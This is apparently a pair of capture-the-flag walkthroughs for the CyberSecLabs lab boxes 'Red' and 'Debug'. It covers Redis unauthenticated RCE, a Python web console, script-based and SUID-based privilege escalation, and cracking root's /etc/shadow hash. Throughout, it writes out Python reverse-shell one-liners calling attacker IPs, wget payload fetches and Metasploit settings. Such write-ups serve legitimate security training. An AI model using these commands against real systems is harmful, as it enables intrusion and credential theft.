CyberSecLabs – “Red” Walkthrough

Red is a beginner level box from CyberSecLabs hosting a webserver using a service known as Redis. I’ll show you the Metasploit route to get a shell, and then a manual method to get a shell. After we’ve established our foothold on the box, we’ll enumerate the file system where we’ll exploit a interesting file that allows us to escalate our privileges.

Red’s IP Address 172.31.1.9

Here we go.

Scanning and Enumeration

As per usual we start with a Nmap scan of the target. Get in the habit of scanning all TCP ports, as with Red if you only scan the top 1000 ports you will miss port 6379.

Red has three open ports. SSH on 22, a web server on 80, and a uncommon port of 6379 which is hosting Redis 4.0.8.

nmap -sC -sV -p- 172.31.1.9

I’ll use Gobuster to find any hidden directories that might be lurking behind port 80.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.9

Didn’t find very much using Gobuster. Only a couple of directories and nothing that looks particularly interesting.

nikto -h 172.31.1.9

When I encounter a webserver or a HTTP port I always can it with Nikto. Here again we confirm the hidden directories we found with Gobuster. However we don’t find anything else useful.

I’ve mentioned this before but SSH on port 22 in terms of penetration testing is rarely the initial entry point for a box. There are exploits for SSH, but in my experience SSH is used primarily in the post-exploitation phase either for privilege escalation or establishing a better shell once you’ve obtained credentials.

That leaves us with port 6379 and the service Redis. I wasn’t familiar with Redis prior to this box, so I did google search and found Redis stands for Remote Dictionary Server. It’s used as a database for a webserver and message broker among other things. Great. So it works along with the webserver on port 80.

If you’d further information on Redis and how to exploit it there’s a great presentation available from ZeroNights.

A quick and dirty Searchsploit reveals we a couple options for exploits including one Metasploit module.

searchsploit redis

Metasploit Route

Since we found a Metasploit module for Redis. Let’s see if we can get a shell using this exploit. Fire up msfconsole and search for Redis.

Metasploit: search redis

We’ll use the 4th exploit since we don’t have credentials yet and its an unauthenticated exploit.

Configure the following parameters and run the exploit.

use exploit/linux/redis/redis_unauth_exec
set RHOSTS 172.31.1.9
set SRVHOST 10.10.0.22
set LHOST 10.10.0.22
run

I think it took me two tries and the first time I didn’t have a parameter set correctly. On the second attempt I did establish a meterpreter session.

Manual Exploitation

To begin let’s connect to the Redis port 6379 using Netcat. You’ll want to add the -v flag for verbose. Since we can run the info command and return results that means we have unauthenticated access to Redis.

nc 172.31.1.9 6379 -v
info

Now we need to get a working exploit that will allow us remote code execution. Let’s do a google search for “redis rce” and see what’s available.

The second search result is exactly what I wanted. Github link here.

Run the rce.py script and see what parameters are required.

python3 rce.py

We need the basics of course: RHOST, RPORT, LHOST, LPORT. All of which we already have. However we will need a module file which is not provided by this exploit. Back to google!

I did a search for “redis execute module” and found one located on Github. Click here.

RedisModules-ExecuteCommand – Quick start

Clone the Github repository to your local machine. Navigate to the directory and in terminal use the Make command to build the module.so file.

make

With the module.so file created we are ready to launch the exploit.

python3 rce.py -r 172.31.1.9 -L 10.10.0.14 -f module.so

Before we continue with the Redis RCE let’s switch over to another terminal window and again use Netcat to connect to the Redis service.

Here we will attempt to execute a reverse shell using the system.exec command. That tells Redis that we want to issue commands on the local system.

Here you can see I tried a simple bash reverse shell on two different ports before I went on to the python reverse shell. You can find both here.

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”10.10.0.14\”,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’

Remember to setup another netcat listener on your favorite port before executing the reverse shell command.

I was able to get a reverse shell using python3. Now we have our lower privileged user Redis.

nc -lvnp 1337
whoami
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Privilege Escalation

Spoilers. All of the write-ups for the box typically rely on a tool called pspy64 to analyze running processes and that is used to find the privilege escalation path. I wanted to challenge myself and see if I could find the same information but only using LinPEAS.

First I’ll transfer LinPEAS to the target and run it.

wget http://10.10.0.14/linpeas.sh
ls
chmod +x linpeas.sh

Scroll down to the “Interesting writable files owned by me or writable by everyone (not in Home)” section of the LinPEAS output.

There’s not much here but one thing caught my eye at the end of the section. We have writeable files related to Redis in /var/log.

I navigated to /var/log/redis and listed the files in the directory. Boom. Here we find a log-manager.sh script. Cat out the contents and let’s analyze what the script is doing.

We see the shebang for /bin/bash which declares this is a bash script. The next line contains a For Loop. This script says for each file in /var/logs/redis/logs, execute the file by name. Basically while this is running any file we place in the folder will be execute by the script. Perfect.

ls
cat log-manager.sh

Since we successfully executed a python reverse shell from the target we know that works, so lets create a file that will execute that same reverse shell and connect back to us.

Reverse shell script:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.0.14\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'

Transfer the shell file to the target in the folder specified in the script. Give the file execute permissions with chmod. Remember to setup your Netcat listener again on the port you specified in the shell file.

wget http://10.10.0.14/shell
chmod +x shell

Run the log-manager.sh script.

nc -lvnp 1234
whoami

If you setup the shell file correctly it will connect back to you as the Root user.

Capture the Flags!

Finish the box and capture the access.txt and system.txt flags.

That’s Red from CyberSecLabs. This is a awesome beginner box as it forces you to enumerate a uncommon port and exploit a service you might not be familiar with. Also if you took the time to go the manual route it forces you to combine multiple exploits together in order to get the low privilege user. I think its valuable to use pspy64 for practice however I wanted to challenge myself on this one by only using my favorite enumeration script.

Thanks for reading!

CyberSecLabs – “Debug” Walkthrough

CyberSecLabs

Debug from CyberSecLabs is a beginner level Linux machine hosting a website. We’ll start with basic web exploitation for initial access and then learn a useful Linux privilege escalation technique.

Ping your target to verify connectivity. Debug’s IP address is 172.31.1.5.

Scanning

As always, we start with a standard Nmap scan running default scripts, service enumeration enabled, and scanning all 65,535 ports.

nmap -sC -sV -p- 172.31.1.5

You can see in the output we only have two ports to work with. Port 22 hosting ssh services, and port 80 hosting a HTTP web server. This greatly reduces our initial attack surface.

If you haven’t spent a lot of time pentesting, I’ll share my experience looking for SSH exploits. Typically, I’ve found those mostly to be rabbit holes, leading nowhere. Version exploits for SSH do exist, but more often then not especially in CTFs, your probably heading in the wrong direction.

That leaves port 80, and a web server to exploit for our initial access. Browse out to the IP address of Debug, 172.31.1.5. Let’s take a look at the website.

Future Design website

Future Design’s website. We have a couple of pages, some filler text, not a lot there. I don’t see a login page, or anything interesting. Let’s dig a little deeper and see if there’s some hidden directories lurking behind this web server.

There’s several tools that you can use such as OWASP’s Dirbuster, Dirb, or Gobuster. Let’s use Gobuster.

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

gobuster dir –wordlist /usr/share/wordlists/dirb/big.txt –url 172.31.1.5

Notice the two directories we didn’t see listed on the website. One being /console and the other /server-status. When I try and navigate to /server-status I get a 404 error message, indicating I don’t have access to the webpage.

Depending on your preference, and methodology, you could have revealed this hidden /console directory using Nitko web scanner.

nikto -h 172.31.1.5

Initial Access

Navigate to 172.31.1.5/console.

172.31.1.5/console reveals a Interactive Console that allows python code execution

Interesting! We have a interactive console that allows us to execute python commands. I bet we can abuse this feature to get a reverse shell.

Since we know this console can execute python commands, that makes finding the right one-liner easy. If you haven’t already, bookmark this site from PenTestMonkey. It’s a great starting place for testing reverse shell one-liners.

Scroll down until you see this Python one-liner.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“LHOST”,LPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Since we are already inside a python console, remove the “python -c ‘” and the trailing comma at the end of the line. Make sure you’ve included your LHOST (local host) and a the LPORT (local port).

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.0.41”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

To receive the python reverse shell we need a netcat listener on whichever port you specified in the one-liner. In this case, my port is 1234. With your netcat listener started, execute the python command from the console.

Sometimes the reverse shell works first try, on other occasions it takes several tries. If you don’t get a shell right away, be patient and execute the command until you do.

nc -lvnp 1234
python -c ‘import pty;pty.spawn(“/bin/bash”)’

We have a simple reverse shell running as the megan user. The first thing I want to do is spawn a TTY shell, which will give us the nice megan@debug prompt.

Privilege Escalation

What now? We need to enumerate the target system, by exploring files and services we can use or modify. This can be done manually, but there’s no reason to when automated tools and scripts will do the job for us.

I’ll be using LinPEAS as our automated privilege escalation tool. It’s part of the Privilege Escalation Awesome Scripts Suite. You can find it on Github.

Download LinPEAS.sh and fire up the Python SimpleHTTPServer on port 80 and we are ready to grab the file with wget.

python -m SimpleHTTPServer 80

I use wget to transfer the linpeas.sh file to the target and chmod to add the execute permission which we’ll need before running LinPEAS.

wget http://10.10.0.41/linpeas.sh
chmod +x linpeas.sh

Run LinPEAS.sh

LinPEAS
LinPEAS.sh output

LinPEAS will generate a lot of output. Under the Interesting Files section, I see a SUID binary highlighted. /usr/share/xxd has the SUID bit set, which will allow us to execute the binary with root level permissions since root is the file owner.

What is xxd? How do we use it? I’d never seen this binary before, so the first thing I did was look it up on GTFOBins. We have a SUID expoit.

XXD will allow us to read the contents of a file within the context of the root user account. What file do we already have on the system that requires root permissions to read? The /etc/shadow file if you aren’t familiar, contains all the actual password hashes for each user account on the system.

xxd /etc/shadow | xxd -r

Great, we have the password hash for the root account, and our low privileged user megan. Copy the hash into a new file, I named mine “hash”. Then use John the Ripper to crack the password using the massive rockyou.txt wordlist.

john –wordlist=/usr/share/wordlists/rockyou.txt hash

We have the actual root password, where do we use it? You might think back to our nmap and open ports. We do have SSH open, but not all accounts have SSH access setup. We need a way to become the root account and Linux has a built-in utility to switch the current user account to the root account.

su
Password
whoami

Notice after the su command and password is entered, our prompt changes context. It’s now a root@debug prompt instead of megan@debug. We’ve got root! Now we can capture all the flags.